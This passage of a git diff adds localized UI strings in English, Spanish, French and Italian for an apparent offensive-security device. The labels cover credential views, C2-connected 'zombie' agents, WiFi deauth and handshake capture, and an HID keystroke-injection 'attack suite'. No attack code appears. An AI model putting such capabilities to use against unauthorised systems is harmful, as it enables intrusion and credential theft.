"netkb.toggleOffline": "Toggle offline", + "netkb.hasPorts": "Has ports", + "netkb.hasActions": "Has actions", + "netkb.na": "N/A", + "netkb.success": "Success", + "netkb.failed": "Failed", + "netkb.running": "Running", + "netkb.pending": "Pending", + "netkb.expired": "Expired", + "netkb.cancelled": "Cancelled", + "netkb.at": "at", + + "network.unknownHost": "Unknown host", + "network.showHostname": "Show hostname", + "network.d3Unavailable": "D3 library not available for map view.", + "network.portLabel": "Port {{label}}", + "network.clear": "Clear", + + "creds.all": "All", + "creds.copied": "Copied to clipboard!", + "creds.noCredentials": "No credentials", + "creds.credentialsCount": "Credentials: {{count}}", + "creds.searchDots": "Search...", + "creds.downloadCsv": "Download CSV", + "creds.clickToCopy": "Click to copy", + "creds.services": "Services", + + "webenum.searchPlaceholder": "Search host, IP, directory, status…", + "webenum.allHosts": "All Hosts", + "webenum.allStatus": "All Status", + "webenum.allPorts": "All Ports", + "webenum.noResults": "No web enumeration results found", + "webenum.actions": "Actions", + "webenum.open": "Open", + "webenum.perPage": "Per page:", + "webenum.resultCount": "{{count}} result(s)", + "webenum.showingAll": "Showing all {{count}} result(s)", + "webenum.prev": "Prev", + "webenum.next": "Next", + "webenum.pageInfo": "Page {{page}} of {{total}} ({{count}} results)", + "webenum.truncated": "{{count}} (truncated)", + "webenum.openUrl": "Open URL", + "webenum.copyUrl": "Copy URL", + + "files.newFolder": "New Folder", + "files.confirmDeleteMulti": "Delete {{count}} item(s)?", + "files.moveTitle": "Move {{count}} item(s) to...", + "files.moveTo": "Move to...", + "files.switchToList": "Switch to list view", + "files.switchToGrid": "Switch to grid view", + "files.copySuffix": " (copy)", + + "loot.treeView": "Tree View", + "loot.filesCount": "{{count}} files", + + "db.views": "Views", + "db.tables": "Tables", + "db.addRowBtn": "+Row", + "db.csv": "CSV", + "db.json": "JSON", + "db.vacuum": "VACUUM", + "db.truncate": "Truncate", + "db.drop": "Drop", + "db.rowsInfo": "{{shown}} of {{total}} rows", + + "actions.autoClear": "Auto-clear", + "actions.autoClearOn": "Auto-clear ON", + "actions.autoClearOff": "Auto-clear OFF", + "actions.exportLogs": "Export", + "actions.selectAction": "Select an action to see logs", + "actions.waitingLogs": "Waiting for logs...", + "actions.logs.scriptCompleted": "Script completed", + "actions.docs": "Docs", + "actions.preset": "Preset {{n}}", + "actions.byAuthor": "by {{author}}", + + "zombie.cpuRam": "CPU/RAM", + "zombie.connectedToC2": "Connected to C2 event stream", + "zombie.c2ConnectionLost": "C2 event stream connection lost", + "zombie.telemetryReceived": "Agent {{name}} telemetry received.", + "zombie.staleFound": "{{count}} stale agent(s) found (>5min)", + "zombie.staleCheck": "Stale check: {{count}} inactive >5min.", + "zombie.clientGenerated": "Client {{id}} generated", + "zombie.deployStarted": "Deployment to {{host}} started", + "zombie.noAgentsSelected": "No agents selected for command.", + "zombie.loadingFiles": "Loading...", + "zombie.browseCommandSent": "Browse command sent. Check console for output.", + "zombie.browseCommandFailed": "Failed to send browse command", + "zombie.uploadStarted": "File {{name}} upload started.", + "zombie.uploadFailed": "Failed to upload file.", + "zombie.sshHost": "SSH Host", + "zombie.sshUser": "SSH User", + "zombie.sshPass": "SSH Pass", + "zombie.avgCpu": "Avg CPU", + "zombie.avgRam": "Avg RAM", + "zombie.total": "Total", + "zombie.online": "Online", + + "nav.sentinel": "Sentinel", + "sentinel.title": "Sentinel Watchdog", + "sentinel.enabled": "Enabled", + "sentinel.disabled": "Disabled", + "sentinel.eventFeed": "Event Feed", + "sentinel.ackAll": "Ack All", + "sentinel.clearAll": "Clear All", + "sentinel.allAcked": "All events acknowledged", + "sentinel.confirmClear": "Clear all events? This cannot be undone.", + "sentinel.eventsCleared": "Events cleared", + "sentinel.noEvents": "No events yet. Sentinel monitors your network for anomalies.", + "sentinel.rules": "Rules", + "sentinel.devices": "Devices", + "sentinel.notifiers": "Notifiers", + "sentinel.statDevices": "Known Devices", + "sentinel.statAlive": "Alive", + "sentinel.statUnread": "Unread", + "sentinel.statEvents": "Total Events", + "sentinel.statRules": "Active Rules", + "sentinel.addRule": "Add Rule", + "sentinel.noRules": "No rules configured.", + "sentinel.ruleLogic": "Logic", + "sentinel.ruleActions": "Actions", + "sentinel.enable": "Enable", + "sentinel.disable": "Disable", + "sentinel.editRule": "Edit Rule", + "sentinel.deleteRule": "Delete Rule", + "sentinel.confirmDeleteRule": "Delete this rule?", + "sentinel.ruleDeleted": "Rule deleted", + "sentinel.ruleUpdated": "Rule updated", + "sentinel.ruleCreated": "Rule created", + "sentinel.ruleName": "Rule Name", + "sentinel.triggerType": "Trigger Type", + "sentinel.cooldown": "Cooldown", + "sentinel.conditions": "Conditions", + "sentinel.cancel": "Cancel", + "sentinel.save": "Save", + "sentinel.nameRequired": "Rule name is required", + "sentinel.noDevices": "No devices discovered yet.", + "sentinel.trusted": "Trusted", + "sentinel.untrusted": "Untrusted", + "sentinel.alias": "Alias", + "sentinel.expectedIps": "Expected IPs", + "sentinel.lastSeen": "Last seen", + "sentinel.deviceSaved": "Device updated", + "sentinel.discordWebhook": "Discord Webhook", + "sentinel.webhookUrl": "Webhook URL", + "sentinel.smtpHost": "SMTP Host", + "sentinel.smtpPort": "SMTP Port", + "sentinel.smtpUser": "SMTP User", + "sentinel.smtpPass": "SMTP Password", + "sentinel.emailFrom": "Email From", + "sentinel.emailTo": "Email To", + "sentinel.saveNotifiers": "Save Notifiers", + "sentinel.notifiersSaved": "Notifier config saved", + "sentinel.justNow": "just now", + "sentinel.acknowledge": "Acknowledge", + + "nav.bifrost": "Bifrost", + "bifrost.title": "Bifrost", + "bifrost.enabled": "Enabled", + "bifrost.disabled": "Disabled", + "bifrost.activityFeed": "Activity Feed", + "bifrost.clearActivity": "Clear", + "bifrost.activityCleared": "Activity cleared", + "bifrost.noActivity": "No activity yet. Enable Bifrost to start WiFi recon.", + "bifrost.networks": "Networks", + "bifrost.plugins": "Plugins", + "bifrost.history": "History", + "bifrost.mood": "Mood", + "bifrost.statNetworks": "Networks", + "bifrost.statHandshakes": "Handshakes", + "bifrost.statDeauths": "Deauths", + "bifrost.statAssocs": "Assocs", + "bifrost.statEpochs": "Epochs", + "bifrost.statPeers": "Peers", + "bifrost.noNetworks": "No networks discovered yet.", + "bifrost.noPlugins": "No plugins loaded.", + "bifrost.noEpochs": "No epochs recorded yet.", + "bifrost.justNow": "just now", + "bifrost.confirmEnable": "Enable Bifrost mode? WiFi will be put in monitor mode — network connection will be lost. Connect via USB/Bluetooth/Ethernet instead.", + "bifrost.monitorFailed": "Monitor Mode Failed", + "bifrost.monitorFailedHint": "For Broadcom chips (Pi Zero), install nexmon. Or use an external USB WiFi adapter.", + "bifrost.nexmonRequired": "Nexmon Required", + "bifrost.nexmonRequiredDesc": "Your Broadcom WiFi chip needs nexmon firmware patches for monitor mode. Click below to auto-install (takes ~15-25 min on Pi Zero 2 W).", + "bifrost.nexmonInstallBtn": "Install Nexmon", + "bifrost.nexmonConfirm": "Install nexmon firmware patches? This will download and compile nexmon from source (~15-25 min). Requires internet access and root privileges.", + "bifrost.nexmonStarted": "Nexmon installation started ...", + "bifrost.nexmonInstalling": "Installing Nexmon ...", + + "nav.loki": "Loki", + "loki.title": "Loki — HID Attack Suite", + "loki.enable": "Enable", + "loki.enabled_msg": "Loki mode enabled", + "loki.disabled_msg": "Loki mode disabled", + "loki.status_label": "Status", + "loki.gadget_label": "Gadget", + "loki.layout_label": "Layout", + "loki.jobs_label": "Jobs", + "loki.running": "Running", + "loki.running_lc": "running", + "loki.idle": "Idle", + "loki.ready": "Ready", + "loki.not_ready": "Not Ready", + "loki.not_installed": "Not Installed", + "loki.install_msg": "HID gadget not installed. Install it and reboot to enable Loki.", + "loki.install_btn": "Install HID Gadget & Reboot", + "loki.reboot_confirm": "HID gadget installed. Reboot now to activate?", + "loki.run": "Run", + "loki.save": "Save", + "loki.new": "New", + "loki.delete": "Delete", + "loki.cancel": "Cancel", + "loki.output": "Output", + "loki.payloads": "Payloads", + "loki.custom_scripts": "Custom Scripts", + "loki.jobs": "Jobs", + "loki.clear_completed": "Clear Completed", + "loki.script": "Script", + "loki.status_col": "Status", + "loki.started": "Started", + "loki.actions": "Actions", + "loki.no_payloads": "No built-in payloads", + "loki.no_scripts": "No saved scripts", + "loki.no_jobs": "No jobs yet", + "loki.no_output": "No output", + "loki.empty_script": "Script is empty", + "loki.job_started": "Job started: {id}", + "loki.run_error": "Failed to run script", + "loki.script_name_prompt": "Script name:", + "loki.saved": "Script saved", + "loki.save_error": "Failed to save script", + "loki.confirm_delete": "Delete script '{name}'?", + "loki.quick_placeholder": "Quick type text here...", + "loki.quick_send": "Type", + "loki.quick_sent": "Text sent to target", + "loki.quick_error": "Failed to send text" } diff --git a/web/i18n/es.json b/web/i18n/es.json index ca10488..26a0be6 100644 --- a/web/i18n/es.json +++ b/web/i18n/es.json @@ -40,22 +40,40 @@ "settings.errorRestoring": "Error al restaurar valores predeterminados", "theme.group.colors": "Colores", "theme.group.surfaces": "Superficies", + "theme.group.borders": "Bordes", + "theme.group.controls": "Controles", "theme.group.layout": "Diseño", "theme.token.bg": "Fondo", + "theme.token.bg2": "Fondo Alt", "theme.token.ink": "Color de texto", + "theme.token.muted": "Texto atenuado", "theme.token.accent1": "Acento 1 (Ácido)", "theme.token.accent2": "Acento 2 (Cian)", + "theme.token.accent": "Acento", + "theme.token.accentAlt": "Acento Alt", "theme.token.danger": "Peligro", "theme.token.warning": "Advertencia", "theme.token.ok": "Éxito", "theme.token.panel": "Panel", "theme.token.panel2": "Panel Alt", "theme.token.ctrlPanel": "Panel control", + "theme.token.ctrlPanel2": "Panel control Alt", + "theme.token.btnBg": "Fondo de botón", "theme.token.border": "Borde", + "theme.token.borderStrong": "Borde fuerte", + "theme.token.borderHi": "Borde resaltado", + "theme.token.switchTrack": "Pista del interruptor", + "theme.token.switchOnBg": "Fondo interruptor activo", + "theme.token.scrollTrack": "Pista de la barra de desplazamiento", + "theme.token.scrollThumb": "Control de la barra de desplazamiento", + "theme.token.glass": "Superposición de cristal", "theme.token.radius": "Radio de borde", "theme.advanced": "CSS avanzado", "theme.applyRaw": "Aplicar", - "theme.reset": "Restablecer", + "theme.reset": "Restablecer valores predeterminados", + "theme.export": "Exportar tema", + "theme.import": "Importar tema", + "theme.importError": "Archivo de tema no válido", "dash.title": "Panel de control", "dash.battery": "Batería", "dash.internet": "Internet", @@ -777,5 +795,137 @@ "api.timeout": "La solicitud ha expirado", "api.failed": "La solicitud ha fallado", "router.notFound": "Página no encontrada: {{path}}", - "router.errorLoading": "Error al cargar la página: {{message}}" + "router.errorLoading": "Error al cargar la página: {{message}}", + "nav.sentinel": "Sentinel", + "sentinel.title": "Sentinel Vigilante", + "sentinel.enabled": "Activado", + "sentinel.disabled": "Desactivado", + "sentinel.eventFeed": "Eventos", + "sentinel.ackAll": "Confirmar todos", + "sentinel.clearAll": "Borrar todos", + "sentinel.allAcked": "Todos los eventos confirmados", + "sentinel.confirmClear": "¿Borrar todos los eventos? Esta acción es irreversible.", + "sentinel.eventsCleared": "Eventos borrados", + "sentinel.noEvents": "Aún no hay eventos. Sentinel vigila tu red en busca de anomalías.", + "sentinel.rules": "Reglas", + "sentinel.devices": "Dispositivos", + "sentinel.notifiers": "Notificadores", + "sentinel.statDevices": "Dispositivos conocidos", + "sentinel.statAlive": "Activos", + "sentinel.statUnread": "Sin leer", + "sentinel.statEvents": "Eventos totales", + "sentinel.statRules": "Reglas activas", + "sentinel.addRule": "Añadir regla", + "sentinel.noRules": "No hay reglas configuradas.", + "sentinel.ruleLogic": "Lógica", + "sentinel.ruleActions": "Acciones", + "sentinel.enable": "Activar", + "sentinel.disable": "Desactivar", + "sentinel.editRule": "Editar regla", + "sentinel.deleteRule": "Eliminar regla", + "sentinel.confirmDeleteRule": "¿Eliminar esta regla?", + "sentinel.ruleDeleted": "Regla eliminada", + "sentinel.ruleUpdated": "Regla actualizada", + "sentinel.ruleCreated": "Regla creada", + "sentinel.ruleName": "Nombre de regla", + "sentinel.triggerType": "Tipo de activación", + "sentinel.cooldown": "Cooldown", + "sentinel.conditions": "Condiciones", + "sentinel.cancel": "Cancelar", + "sentinel.save": "Guardar", + "sentinel.nameRequired": "El nombre de la regla es obligatorio", + "sentinel.noDevices": "Aún no se han descubierto dispositivos.", + "sentinel.trusted": "De confianza", + "sentinel.untrusted": "No confiable", + "sentinel.alias": "Alias", + "sentinel.expectedIps": "IPs esperadas", + "sentinel.lastSeen": "Última vez visto", + "sentinel.deviceSaved": "Dispositivo actualizado", + "sentinel.discordWebhook": "Discord Webhook", + "sentinel.webhookUrl": "Webhook URL", + "sentinel.smtpHost": "SMTP Host", + "sentinel.smtpPort": "SMTP Port", + "sentinel.smtpUser": "SMTP Usuario", + "sentinel.smtpPass": "SMTP Contraseña", + "sentinel.emailFrom": "Correo remitente", + "sentinel.emailTo": "Correo destinatario", + "sentinel.saveNotifiers": "Guardar notificadores", + "sentinel.notifiersSaved": "Configuración de notificadores guardada", + "sentinel.justNow": "ahora mismo", + "sentinel.acknowledge": "Confirmar", + "nav.bifrost": "Bifrost", + "bifrost.title": "Bifrost", + "bifrost.enabled": "Activado", + "bifrost.disabled": "Desactivado", + "bifrost.activityFeed": "Feed de actividad", + "bifrost.clearActivity": "Limpiar", + "bifrost.activityCleared": "Actividad limpiada", + "bifrost.noActivity": "Sin actividad. Active Bifrost para iniciar el reconocimiento WiFi.", + "bifrost.networks": "Redes", + "bifrost.plugins": "Plugins", + "bifrost.history": "Historial", + "bifrost.mood": "Estado", + "bifrost.statNetworks": "Redes", + "bifrost.statHandshakes": "Handshakes", + "bifrost.statDeauths": "Deauths", + "bifrost.statAssocs": "Asocs", + "bifrost.statEpochs": "Épocas", + "bifrost.statPeers": "Pares", + "bifrost.noNetworks": "Aún no se han descubierto redes.", + "bifrost.noPlugins": "No hay plugins cargados.", + "bifrost.noEpochs": "Aún no se han registrado épocas.", + "bifrost.justNow": "ahora mismo", + "bifrost.confirmEnable": "¿Activar el modo Bifrost? El WiFi se pondrá en modo monitor — se perderá la conexión de red. Conéctese por USB/Bluetooth/Ethernet.", + "bifrost.monitorFailed": "Modo Monitor Fallido", + "bifrost.monitorFailedHint": "Para chips Broadcom (Pi Zero), instale nexmon. O use un adaptador WiFi USB externo.", + "bifrost.nexmonRequired": "Nexmon requerido", + "bifrost.nexmonRequiredDesc": "Su chip WiFi Broadcom necesita los parches de firmware nexmon para el modo monitor. Haga clic para auto-instalar (~15-25 min en Pi Zero 2 W).", + "bifrost.nexmonInstallBtn": "Instalar Nexmon", + "bifrost.nexmonConfirm": "¿Instalar parches de firmware nexmon? Esto descargará y compilará nexmon (~15-25 min). Requiere acceso a internet y privilegios root.", + "bifrost.nexmonStarted": "Instalación de nexmon iniciada ...", + "bifrost.nexmonInstalling": "Instalando Nexmon ...", + + "nav.loki": "Loki", + "loki.title": "Loki — Suite de ataque HID", + "loki.enable": "Activar", + "loki.enabled_msg": "Modo Loki activado", + "loki.disabled_msg": "Modo Loki desactivado", + "loki.status_label": "Estado", + "loki.gadget_label": "Gadget", + "loki.layout_label": "Disposición", + "loki.jobs_label": "Trabajos", + "loki.running": "En ejecución", + "loki.running_lc": "en ejecución", + "loki.idle": "Inactivo", + "loki.ready": "Listo", + "loki.not_ready": "No listo", + "loki.run": "Ejecutar", + "loki.save": "Guardar", + "loki.new": "Nuevo", + "loki.delete": "Eliminar", + "loki.cancel": "Cancelar", + "loki.output": "Salida", + "loki.payloads": "Cargas útiles", + "loki.custom_scripts": "Scripts personalizados", + "loki.jobs": "Trabajos", + "loki.clear_completed": "Limpiar completados", + "loki.script": "Script", + "loki.status_col": "Estado", + "loki.started": "Iniciado", + "loki.actions": "Acciones", + "loki.no_payloads": "Sin cargas útiles integradas", + "loki.no_scripts": "Sin scripts guardados", + "loki.no_jobs": "Sin trabajos aún", + "loki.no_output": "Sin salida", + "loki.empty_script": "El script está vacío", + "loki.job_started": "Trabajo iniciado: {id}", + "loki.run_error": "Error al ejecutar el script", + "loki.script_name_prompt": "Nombre del script:", + "loki.saved": "Script guardado", + "loki.save_error": "Error al guardar el script", + "loki.confirm_delete": "¿Eliminar script '{name}'?", + "loki.quick_placeholder": "Escribir texto rápido aquí...", + "loki.quick_send": "Escribir", + "loki.quick_sent": "Texto enviado al objetivo", + "loki.quick_error": "Error al enviar texto" } \ No newline at end of file diff --git a/web/i18n/fr.json b/web/i18n/fr.json index 404fa29..77ff574 100644 --- a/web/i18n/fr.json +++ b/web/i18n/fr.json @@ -41,22 +41,40 @@ "settings.errorRestoring": "Erreur lors de la restauration des valeurs par défaut", "theme.group.colors": "Couleurs", "theme.group.surfaces": "Surfaces", + "theme.group.borders": "Bordures", + "theme.group.controls": "Contrôles", "theme.group.layout": "Disposition", "theme.token.bg": "Arrière-plan", + "theme.token.bg2": "Arrière-plan Alt", "theme.token.ink": "Couleur du texte", + "theme.token.muted": "Texte atténué", "theme.token.accent1": "Accent 1 (Acide)", "theme.token.accent2": "Accent 2 (Cyan)", + "theme.token.accent": "Accent", + "theme.token.accentAlt": "Accent Alt", "theme.token.danger": "Danger", "theme.token.warning": "Avertissement", "theme.token.ok": "Succès", "theme.token.panel": "Panneau", "theme.token.panel2": "Panneau Alt", "theme.token.ctrlPanel": "Panneau contrôle", + "theme.token.ctrlPanel2": "Panneau contrôle Alt", + "theme.token.btnBg": "Fond bouton", "theme.token.border": "Bordure", + "theme.token.borderStrong": "Bordure forte", + "theme.token.borderHi": "Bordure vive", + "theme.token.switchTrack": "Piste interrupteur", + "theme.token.switchOnBg": "Fond interrupteur actif", + "theme.token.scrollTrack": "Piste défilement", + "theme.token.scrollThumb": "Poignée défilement", + "theme.token.glass": "Overlay verre", "theme.token.radius": "Rayon de bordure", "theme.advanced": "CSS avancé", "theme.applyRaw": "Appliquer", "theme.reset": "Réinitialiser", + "theme.export": "Exporter le thème", + "theme.import": "Importer un thème", + "theme.importError": "Fichier thème invalide", "dash.title": "Tableau de bord", "dash.battery": "Batterie", "dash.internet": "Internet", @@ -778,5 +796,141 @@ "api.timeout": "La requête a expiré", "api.failed": "La requête a échoué", "router.notFound": "Page non trouvée : {{path}}", - "router.errorLoading": "Erreur lors du chargement de la page : {{message}}" + "router.errorLoading": "Erreur lors du chargement de la page : {{message}}", + "nav.sentinel": "Sentinelle", + "sentinel.title": "Sentinelle Watchdog", + "sentinel.enabled": "Activé", + "sentinel.disabled": "Désactivé", + "sentinel.eventFeed": "Flux d'événements", + "sentinel.ackAll": "Tout ack.", + "sentinel.clearAll": "Tout effacer", + "sentinel.allAcked": "Tous les événements acquittés", + "sentinel.confirmClear": "Effacer tous les événements ? Cette action est irréversible.", + "sentinel.eventsCleared": "Événements effacés", + "sentinel.noEvents": "Aucun événement. Sentinel surveille votre réseau.", + "sentinel.rules": "Règles", + "sentinel.devices": "Appareils", + "sentinel.notifiers": "Notifications", + "sentinel.statDevices": "Appareils connus", + "sentinel.statAlive": "En ligne", + "sentinel.statUnread": "Non lus", + "sentinel.statEvents": "Total événements", + "sentinel.statRules": "Règles actives", + "sentinel.addRule": "Ajouter une règle", + "sentinel.noRules": "Aucune règle configurée.", + "sentinel.ruleLogic": "Logique", + "sentinel.ruleActions": "Actions", + "sentinel.enable": "Activer", + "sentinel.disable": "Désactiver", + "sentinel.editRule": "Modifier la règle", + "sentinel.deleteRule": "Supprimer la règle", + "sentinel.confirmDeleteRule": "Supprimer cette règle ?", + "sentinel.ruleDeleted": "Règle supprimée", + "sentinel.ruleUpdated": "Règle mise à jour", + "sentinel.ruleCreated": "Règle créée", + "sentinel.ruleName": "Nom de la règle", + "sentinel.triggerType": "Type de déclencheur", + "sentinel.cooldown": "Délai de récupération", + "sentinel.conditions": "Conditions", + "sentinel.cancel": "Annuler", + "sentinel.save": "Enregistrer", + "sentinel.nameRequired": "Le nom de la règle est requis", + "sentinel.noDevices": "Aucun appareil découvert.", + "sentinel.trusted": "Fiable", + "sentinel.untrusted": "Non fiable", + "sentinel.alias": "Alias", + "sentinel.expectedIps": "IPs attendues", + "sentinel.lastSeen": "Vu en dernier", + "sentinel.deviceSaved": "Appareil mis à jour", + "sentinel.discordWebhook": "Webhook Discord", + "sentinel.webhookUrl": "URL Webhook", + "sentinel.smtpHost": "Hôte SMTP", + "sentinel.smtpPort": "Port SMTP", + "sentinel.smtpUser": "Utilisateur SMTP", + "sentinel.smtpPass": "Mot de passe SMTP", + "sentinel.emailFrom": "Email expéditeur", + "sentinel.emailTo": "Email destinataire", + "sentinel.saveNotifiers": "Sauvegarder", + "sentinel.notifiersSaved": "Configuration sauvegardée", + "sentinel.justNow": "à l'instant", + "sentinel.acknowledge": "Acquitter", + "nav.bifrost": "Bifrost", + "bifrost.title": "Bifrost", + "bifrost.enabled": "Activé", + "bifrost.disabled": "Désactivé", + "bifrost.activityFeed": "Fil d'activité", + "bifrost.clearActivity": "Effacer", + "bifrost.activityCleared": "Activité effacée", + "bifrost.noActivity": "Aucune activité. Activez Bifrost pour lancer la reconnaissance WiFi.", + "bifrost.networks": "Réseaux", + "bifrost.plugins": "Plugins", + "bifrost.history": "Historique", + "bifrost.mood": "Humeur", + "bifrost.statNetworks": "Réseaux", + "bifrost.statHandshakes": "Handshakes", + "bifrost.statDeauths": "Déauths", + "bifrost.statAssocs": "Assocs", + "bifrost.statEpochs": "Époques", + "bifrost.statPeers": "Pairs", + "bifrost.noNetworks": "Aucun réseau découvert.", + "bifrost.noPlugins": "Aucun plugin chargé.", + "bifrost.noEpochs": "Aucune époque enregistrée.", + "bifrost.justNow": "à l'instant", + "bifrost.confirmEnable": "Activer le mode Bifrost ? Le WiFi passera en mode monitor — la connexion réseau sera perdue. Connectez-vous via USB/Bluetooth/Ethernet.", + "bifrost.monitorFailed": "Mode Moniteur Échoué", + "bifrost.monitorFailedHint": "Pour les puces Broadcom (Pi Zero), installez nexmon. Ou utilisez un adaptateur WiFi USB externe.", + "bifrost.nexmonRequired": "Nexmon requis", + "bifrost.nexmonRequiredDesc": "Votre puce WiFi Broadcom nécessite les patchs firmware nexmon pour le mode moniteur. Cliquez pour auto-installer (~15-25 min sur Pi Zero 2 W).", + "bifrost.nexmonInstallBtn": "Installer Nexmon", + "bifrost.nexmonConfirm": "Installer les patchs firmware nexmon ? Cela va télécharger et compiler nexmon (~15-25 min). Nécessite un accès internet et les droits root.", + "bifrost.nexmonStarted": "Installation de nexmon lancée ...", + "bifrost.nexmonInstalling": "Installation de Nexmon ...", + + "nav.loki": "Loki", + "loki.title": "Loki — Suite d'attaque HID", + "loki.enable": "Activer", + "loki.enabled_msg": "Mode Loki activé", + "loki.disabled_msg": "Mode Loki désactivé", + "loki.status_label": "Statut", + "loki.gadget_label": "Gadget", + "loki.layout_label": "Disposition", + "loki.jobs_label": "Tâches", + "loki.running": "En cours", + "loki.running_lc": "en cours", + "loki.idle": "Inactif", + "loki.ready": "Prêt", + "loki.not_ready": "Non prêt", + "loki.not_installed": "Non installé", + "loki.install_msg": "Le gadget HID n'est pas installé. Installez-le et redémarrez pour activer Loki.", + "loki.install_btn": "Installer le gadget HID & Redémarrer", + "loki.reboot_confirm": "Gadget HID installé. Redémarrer maintenant pour activer ?", + "loki.run": "Exécuter", + "loki.save": "Sauvegarder", + "loki.new": "Nouveau", + "loki.delete": "Supprimer", + "loki.cancel": "Annuler", + "loki.output": "Sortie", + "loki.payloads": "Charges utiles", + "loki.custom_scripts": "Scripts personnalisés", + "loki.jobs": "Tâches", + "loki.clear_completed": "Effacer terminés", + "loki.script": "Script", + "loki.status_col": "Statut", + "loki.started": "Démarré", + "loki.actions": "Actions", + "loki.no_payloads": "Aucune charge utile", + "loki.no_scripts": "Aucun script sauvegardé", + "loki.no_jobs": "Aucune tâche", + "loki.no_output": "Aucune sortie", + "loki.empty_script": "Script vide", + "loki.job_started": "Tâche démarrée : {id}", + "loki.run_error": "Échec de l'exécution", + "loki.script_name_prompt": "Nom du script :", + "loki.saved": "Script sauvegardé", + "loki.save_error": "Échec de la sauvegarde", + "loki.confirm_delete": "Supprimer le script '{name}' ?", + "loki.quick_placeholder": "Taper du texte ici...", + "loki.quick_send": "Taper", + "loki.quick_sent": "Texte envoyé à la cible", + "loki.quick_error": "Échec de l'envoi" } \ No newline at end of file diff --git a/web/i18n/it.json b/web/i18n/it.json index 7e5690a..5ba5342 100644 --- a/web/i18n/it.json +++ b/web/i18n/it.json @@ -40,22 +40,40 @@ "settings.errorRestoring": "Errore nel ripristino dei valori predefiniti", "theme.group.colors": "Colori", "theme.group.surfaces": "Superfici", + "theme.group.borders": "Bordi", + "theme.group.controls": "Controlli", "theme.group.layout": "Disposizione", "theme.token.bg": "Sfondo", + "theme.token.bg2": "Sfondo Alt", "theme.token.ink": "Colore testo", + "theme.token.muted": "Testo attenuato", "theme.token.accent1": "Accento 1 (Acido)", "theme.token.accent2": "Accento 2 (Ciano)", + "theme.token.accent": "Accento", + "theme.token.accentAlt": "Accento Alt", "theme.token.danger": "Pericolo", "theme.token.warning": "Avviso", "theme.token.ok": "Successo", "theme.token.panel": "Pannello", "theme.token.panel2": "Pannello Alt", "theme.token.ctrlPanel": "Pannello controllo", + "theme.token.ctrlPanel2": "Pannello controllo Alt", + "theme.token.btnBg": "Sfondo pulsante", "theme.token.border": "Bordo", + "theme.token.borderStrong": "Bordo forte", + "theme.token.borderHi": "Bordo evidenziato", + "theme.token.switchTrack": "Traccia interruttore", + "theme.token.switchOnBg": "Sfondo interruttore attivo", + "theme.token.scrollTrack": "Traccia barra di scorrimento", + "theme.token.scrollThumb": "Cursore barra di scorrimento", + "theme.token.glass": "Sovrapposizione vetro", "theme.token.radius": "Raggio bordo", "theme.advanced": "CSS avanzato", "theme.applyRaw": "Applica", - "theme.reset": "Ripristina", + "theme.reset": "Ripristina predefinito", + "theme.export": "Esporta tema", + "theme.import": "Importa tema", + "theme.importError": "File tema non valido", "dash.title": "Cruscotto", "dash.battery": "Batteria", "dash.internet": "Internet", @@ -777,5 +795,137 @@ "api.timeout": "La richiesta è scaduta", "api.failed": "La richiesta è fallita", "router.notFound": "Pagina non trovata : {{path}}", - "router.errorLoading": "Errore nel caricamento della pagina : {{message}}" + "router.errorLoading": "Errore nel caricamento della pagina : {{message}}", + "nav.sentinel": "Sentinel", + "sentinel.title": "Sentinel Watchdog", + "sentinel.enabled": "Abilitato", + "sentinel.disabled": "Disabilitato", + "sentinel.eventFeed": "Feed eventi", + "sentinel.ackAll": "Conferma tutti", + "sentinel.clearAll": "Cancella tutti", + "sentinel.allAcked": "Tutti gli eventi confermati", + "sentinel.confirmClear": "Cancellare tutti gli eventi? Azione irreversibile.", + "sentinel.eventsCleared": "Eventi cancellati", + "sentinel.noEvents": "Nessun evento per ora. Sentinel monitora la rete alla ricerca di anomalie.", + "sentinel.rules": "Regole", + "sentinel.devices": "Dispositivi", + "sentinel.notifiers": "Notifiche", + "sentinel.statDevices": "Dispositivi noti", + "sentinel.statAlive": "Attivi", + "sentinel.statUnread": "Non letti", + "sentinel.statEvents": "Eventi totali", + "sentinel.statRules": "Regole attive", + "sentinel.addRule": "Aggiungi regola", + "sentinel.noRules": "Nessuna regola configurata.", + "sentinel.ruleLogic": "Logica", + "sentinel.ruleActions": "Azioni", + "sentinel.enable": "Abilita", + "sentinel.disable": "Disabilita", + "sentinel.editRule": "Modifica regola", + "sentinel.deleteRule": "Elimina regola", + "sentinel.confirmDeleteRule": "Eliminare questa regola?", + "sentinel.ruleDeleted": "Regola eliminata", + "sentinel.ruleUpdated": "Regola aggiornata", + "sentinel.ruleCreated": "Regola creata", + "sentinel.ruleName": "Nome regola", + "sentinel.triggerType": "Tipo di attivazione", + "sentinel.cooldown": "Cooldown", + "sentinel.conditions": "Condizioni", + "sentinel.cancel": "Annulla", + "sentinel.save": "Salva", + "sentinel.nameRequired": "Il nome della regola è obbligatorio", + "sentinel.noDevices": "Nessun dispositivo scoperto.", + "sentinel.trusted": "Attendibile", + "sentinel.untrusted": "Non attendibile", + "sentinel.alias": "Alias", + "sentinel.expectedIps": "IP previsti", + "sentinel.lastSeen": "Ultima vista", + "sentinel.deviceSaved": "Dispositivo aggiornato", + "sentinel.discordWebhook": "Discord Webhook", + "sentinel.webhookUrl": "Webhook URL", + "sentinel.smtpHost": "SMTP Host", + "sentinel.smtpPort": "SMTP Port", + "sentinel.smtpUser": "SMTP Utente", + "sentinel.smtpPass": "SMTP Password", + "sentinel.emailFrom": "E-mail mittente", + "sentinel.emailTo": "E-mail destinatario", + "sentinel.saveNotifiers": "Salva notifiche", + "sentinel.notifiersSaved": "Configurazione notifiche salvata", + "sentinel.justNow": "adesso", + "sentinel.acknowledge": "Conferma", + "nav.bifrost": "Bifrost", + "bifrost.title": "Bifrost", + "bifrost.enabled": "Attivato", + "bifrost.disabled": "Disattivato", + "bifrost.activityFeed": "Feed attività", + "bifrost.clearActivity": "Cancella", + "bifrost.activityCleared": "Attività cancellata", + "bifrost.noActivity": "Nessuna attività. Attiva Bifrost per la ricognizione WiFi.", + "bifrost.networks": "Reti", + "bifrost.plugins": "Plugin", + "bifrost.history": "Cronologia", + "bifrost.mood": "Umore", + "bifrost.statNetworks": "Reti", + "bifrost.statHandshakes": "Handshake", + "bifrost.statDeauths": "Deauth", + "bifrost.statAssocs": "Assoc", + "bifrost.statEpochs": "Epoche", + "bifrost.statPeers": "Peer", + "bifrost.noNetworks": "Nessuna rete scoperta.", + "bifrost.noPlugins": "Nessun plugin caricato.", + "bifrost.noEpochs": "Nessuna epoca registrata.", + "bifrost.justNow": "proprio ora", + "bifrost.confirmEnable": "Attivare la modalità Bifrost? Il WiFi verrà messo in modalità monitor — la connessione di rete andrà persa. Collegati tramite 